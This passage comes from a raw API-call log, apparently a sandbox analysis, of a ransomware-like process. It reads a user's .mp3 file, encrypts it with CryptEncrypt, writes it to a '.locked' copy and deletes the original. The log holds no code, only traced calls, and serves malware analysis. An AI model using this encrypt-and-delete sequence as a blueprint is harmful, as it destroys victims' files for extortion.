[5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.518] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3f, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3f, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.518] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3.locked", lpFilePart=0x0) returned 0x34 [0134.518] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0134.518] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\863xtgylirzqb.mp3.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0134.519] GetFileType (hFile=0x874) returned 0x1 [0134.519] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0134.519] GetFileType (hFile=0x874) returned 0x1 [0134.519] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3f, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.519] CryptGenRandom (in: hProv=0x4396e78, dwLen=0x10, pbBuffer=0x6a289dc | out: pbBuffer=0x6a289dc) returned 1 [0134.519] CryptContextAddRef (hProv=0x4396e78, pdwReserved=0x0, dwFlags=0x0) returned 1 [0134.519] CryptDuplicateKey (in: hKey=0x8e84ff8, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e84f78) returned 1 [0134.519] CryptContextAddRef (hProv=0x4396e78, pdwReserved=0x0, dwFlags=0x0) returned 1 [0134.520] CryptSetKeyParam (hKey=0x8e84f78, dwParam=0x4, pbData=0x6a29c98*=0x1, dwFlags=0x0) returned 1 [0134.520] CryptSetKeyParam (hKey=0x8e84f78, dwParam=0x1, pbData=0x6a29c64, dwFlags=0x0) returned 1 [0134.520] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\x2720\x438\x242") returned 0x0 [0134.520] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x40, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.520] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3f, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.520] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x40, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x40, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.520] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x40, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.520] ReadFile (in: hFile=0x858, lpBuffer=0x6a2d1f4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6a2d1f4*, lpNumberOfBytesRead=0x99ae7a8*=0x6628, lpOverlapped=0x0) returned 1 [0134.521] CryptEncrypt (in: hKey=0x8e84f78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a41200*, pdwDataLen=0x99ae79c*=0x6620, dwBufLen=0x6620 | out: pbData=0x6a41200*, pdwDataLen=0x99ae79c*=0x6620) returned 1 [0134.521] WriteFile (in: hFile=0x874, lpBuffer=0x6a28a9c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6a28a9c*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0134.522] WriteFile (in: hFile=0x874, lpBuffer=0x6a421ec*, nNumberOfBytesToWrite=0x5634, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6a421ec*, lpNumberOfBytesWritten=0x99ae780*=0x5634, lpOverlapped=0x0) returned 1 [0134.523] ReadFile (in: hFile=0x858, lpBuffer=0x6a2d1f4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6a2d1f4*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0134.523] CryptEncrypt (in: hKey=0x8e84f78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a47844*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x6a47844*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0134.523] CryptEncrypt (in: hKey=0x8e84f78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6a47878*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x6a47878*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0134.523] WriteFile (in: hFile=0x874, lpBuffer=0x6a28a9c*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x6a28a9c*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0134.523] CloseHandle (hObject=0x874) returned 1 [0134.524] CloseHandle (hObject=0x858) returned 1 [0134.524] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3", lpFilePart=0x0) returned 0x2d [0134.525] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.525] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x41, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.525] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x40, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.525] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x41, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x41, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.525] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\863xtgylirzqb.mp3")) returned 0x20 [0134.525] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3", lpFilePart=0x0) returned 0x2d [0134.526] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0134.526] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0134.526] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0134.526] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0134.526] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0134.526] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0134.526] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0134.526] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0134.526] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0134.526] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0134.526] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0134.526] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0134.527] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music" (normalized: "c:\\users\\ciihmnxmn6ps\\music")) returned 0x11 [0134.527] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music" (normalized: "c:\\users\\ciihmnxmn6ps\\music")) returned 0x11 [0134.527] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music", lpFilePart=0x0) returned 0x1b [0134.527] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music", lpFilePart=0x0) returned 0x1b [0134.527] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\863xtgylirzqb.mp3")) returned 0x20 [0134.527] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3", lpFilePart=0x0) returned 0x2d [0134.527] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3", lpFilePart=0x0) returned 0x2d [0134.527] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3", lpFilePart=0x0) returned 0x2d [0134.527] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0134.527] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3", lpFilePart=0x0) returned 0x2d [0134.527] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3\\", lpFilePart=0x0) returned 0x2e [0134.527] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0134.528] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0134.528] CoTaskMemAlloc (cb=0x404) returned 0x8eb8930 [0134.528] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8930, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0134.528] CoTaskMemFree (pv=0x8eb8930) [0134.529] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\863xtgylirzqb.mp3")) returned 0x20 [0134.529] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3", lpFilePart=0x0) returned 0x2d [0134.529] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3", lpFilePart=0x0) returned 0x2d [0134.529] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0134.529] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\863xtgylirzqb.mp3"), fInfoLevelId=0x0, lpFileInformation=0x6a594c8 | out: lpFileInformation=0x6a594c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55002670, ftCreationTime.dwHighDateTime=0x1d4aab6, ftLastAccessTime.dwLowDateTime=0x707bbdf0, ftLastAccessTime.dwHighDateTime=0x1d4ad00, ftLastWriteTime.dwLowDateTime=0x707bbdf0, ftLastWriteTime.dwHighDateTime=0x1d4ad00, nFileSizeHigh=0x0, nFileSizeLow=0x6628)) returned 1 [0134.529] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0134.529] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\863xtgylirzqb.mp3")) returned 1 [0134.531] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x41, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.531] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.531] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x42, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.531] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x41, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.531] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x42, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x42, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.532] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\863xtgylirzqb.mp3.locked")) returned 0x20 [0134.532] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\863xtgylirzqb.mp3.locked")) returned 0x20 [0134.532] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3.locked", lpFilePart=0x0) returned 0x34 [0134.532] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3.locked", lpFilePart=0x0) returned 0x34 [0134.532] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x42, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.532] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3", lpFilePart=0x0) returned 0x2d [0134.532] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.533] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x43, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.533] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x42, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.533] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x43, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x43, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.534] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x43, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.534] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.534] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x44, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.534] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x43, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.534] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x44, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x44, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.536] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x44, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.536] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="ᬀ玹") returned 0x0 [0134.536] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x45, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.536] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x44, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.536] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x45, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x45, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.538] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x45, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.538] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.538] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, 